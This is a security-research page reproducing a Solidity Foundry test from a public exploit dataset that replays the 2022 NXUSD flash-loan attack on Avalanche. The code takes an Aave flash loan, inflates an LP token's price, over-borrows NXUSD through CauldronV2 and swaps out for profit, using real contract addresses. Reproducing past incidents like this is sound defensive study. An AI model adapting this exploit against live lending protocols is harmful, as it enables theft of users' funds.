Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/NXUSD_exp.sol

Public reproduction file for dataset entry NXUSD.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/NXUSD_exp.sol154 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://medium.com/nereus-protocol/post-mortem-flash-loan-exploit-in-single-nxusd-market-343fa32f0c6
9// Refer: https://github.com/kedao/exploitDefiLabs/blob/main/src/test/Nxusd_exp.sol
10// Refer: https://dashboard.tenderly.co/tx/ava/0x0ab12913f9232b27b0664cd2d50e482ad6aa896aeb811b53081712f42d54c026
12abstract contract IDegenBox {
13 function setMasterContractApproval(
14 address user,
15 address masterContract,
16 bool approved,
17 uint8 v,
18 bytes32 r,
19 bytes32 s
20 ) public virtual;
22 function masterContractApproved(address masterContract, address user) external view virtual returns (bool);
25interface ICauldronV2 {
26 function updateExchangeRate() external returns (bool, uint256);
28 function cook(
29 uint8[] calldata actions,
30 uint256[] calldata values,
31 bytes[] calldata datas
32 ) external payable returns (uint256, uint256);
35contract ContractTest is Test {
36 ILendingPool aaveLendingPool = ILendingPool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
37 Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
38 Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
39 ICurvePool CRVPool1 = ICurvePool(0x001E3BA199B4FF4B5B6e97aCD96daFC0E2e4156e);
40 ICurvePool CRVPool2 = ICurvePool(0x3a43A5851A3e3E0e25A3c1089670269786be1577);
41 IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
42 IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
43 IUSDC USDC = IUSDC(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
44 IERC20 NXUSD = IERC20(0xF14f4CE569cB3679E99d5059909E23B07bd2F387);
45 IDegenBox DegenBox = IDegenBox(0x0B1F9C2211F77Ec3Fa2719671c5646cf6e59B775);
46 ICauldronV2 CauldronV2 = ICauldronV2(0xC0A7a7F141b6A5Bce3EC1B81823c8AFA456B6930);
47 address metaPool = 0x6BF6fc7EaF84174bb7e1610Efd865f0eBD2AA96D;
48 address masterContract = 0xE767C6C3Bf42f550A5A258A379713322B6c4c060;
49 // flashLoan
50 address[] public _assets = [0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E]; //usdc
51 uint256[] public _amounts = [51_000_000_000_000];
52 uint256[] public _modes = [0];
53 // borrow
54 uint8[] public actions = [5, 21, 20, 10];
55 uint256[] public values = [0, 0, 0, 0];
56 uint256 borrowAmounts = 998_000 * 1e18;
57 uint256 share = 0;
59 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
61 function setUp() public {
62 cheats.createSelectFork("avalanche", 19_613_451);
63 }
65 function testExploit() public {
66 USDC.approve(address(Router), type(uint256).max);
67 WAVAX.approve(address(Router), type(uint256).max);
68 // AAVE flashloan
69 aaveLendingPool.flashLoan(address(this), _assets, _amounts, _modes, address(this), new bytes(1), 0);
71 emit log_named_uint("After exploit repaid, profit in USDC of attacker:", USDC.balanceOf(address(this)) / 1e6);
72 }
74 function executeOperation(
75 address[] memory assets,
76 uint256[] memory amounts,
77 uint256[] memory premiums,
78 address initiator,
79 bytes memory params
80 ) public returns (bool) {
81 assets;
82 amounts;
83 premiums;
84 params;
85 initiator;
86 // get LP token
87 buyWAVAXAndAddLP();
88 // change LP price
89 address[] memory path = new address[](2);
90 path[0] = address(USDC);
91 path[1] = address(WAVAX);
92 Router.swapExactTokensForTokens(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);
94 /*
95 * borrow NXUSD
96 */
97 // set contract apporval
98 NXUSD.approve(address(CRVPool1), type(uint256).max);
99 Pair.approve(address(DegenBox), type(uint256).max);
100 DegenBox.setMasterContractApproval(address(this), masterContract, true, 0, 0, 0);
101 // update rate
102 CauldronV2.updateExchangeRate();
103 // cook function in CauldronV2
104 bytes[] memory datas = new bytes[](4);
105 datas[0] = abi.encode(borrowAmounts, address(this)); // type borrow
106 datas[1] = abi.encode(NXUSD, address(this), borrowAmounts, share); // type withdraw
107 datas[2] = abi.encode(Pair, address(this), 45_330_977_931_305_070, share); // type deposit
108 datas[3] = abi.encode(-2, address(this), false); // Collateral enter market
109 CauldronV2.cook(actions, values, datas);
111 // sell WAVAX`
112 sellWAVAX();
113 // NXUSD -> avCRV -> USDC_e
114 CRVPool1.exchange_underlying(metaPool, 0, 2, 998_000 * 1e18, 950_000 * 1e6);
115 // USDC_e -> USDC
116 USDC_e.approve(address(CRVPool2), type(uint256).max);
117 CRVPool2.exchange(0, 1, 800_000 * 1e6, 700_000 * 1e6);
118 sellUSDC_e();
119 USDC.approve(address(aaveLendingPool), type(uint256).max);
120 return true;
121 }
123 function buyWAVAXAndAddLP() public {
124 address[] memory path = new address[](2);
125 path[0] = address(USDC);
126 path[1] = address(WAVAX);
127 Router.swapExactTokensForTokens(280_000 * 1e6, 0, path, address(this), block.timestamp);
128 Router.addLiquidity(
129 address(USDC),
130 address(WAVAX),
131 260_000 * 1e6,
132 500_000 * 1e18,
133 250_000 * 1e6,
134 0,
135 address(this),
136 block.timestamp
137 );
138 }
140 function sellWAVAX() public {
141 address[] memory path = new address[](2);
142 path[0] = address(WAVAX);
143 path[1] = address(USDC);
144 Router.swapExactTokensForTokens(WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);
145 }
147 function sellUSDC_e() public {
148 address[] memory path = new address[](2);
149 USDC_e.approve(address(Router), type(uint256).max);
150 path[0] = address(USDC_e);
151 path[1] = address(USDC);
152 Router.swapExactTokensForTokens(USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);
153 }

Analysis

Dataset entry

Public Foundry test for “NXUSD” (2022-09-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
NXUSD
Path
src/test/2022-09/NXUSD_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
73870f15a6d493a40dad9bdec0064fec6ea20b06
Language
Solidity
Size
155 lines
Date
2022-09-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/NXUSD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 73870f15a6d493a40dad9bdec0064fec6ea20b06, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.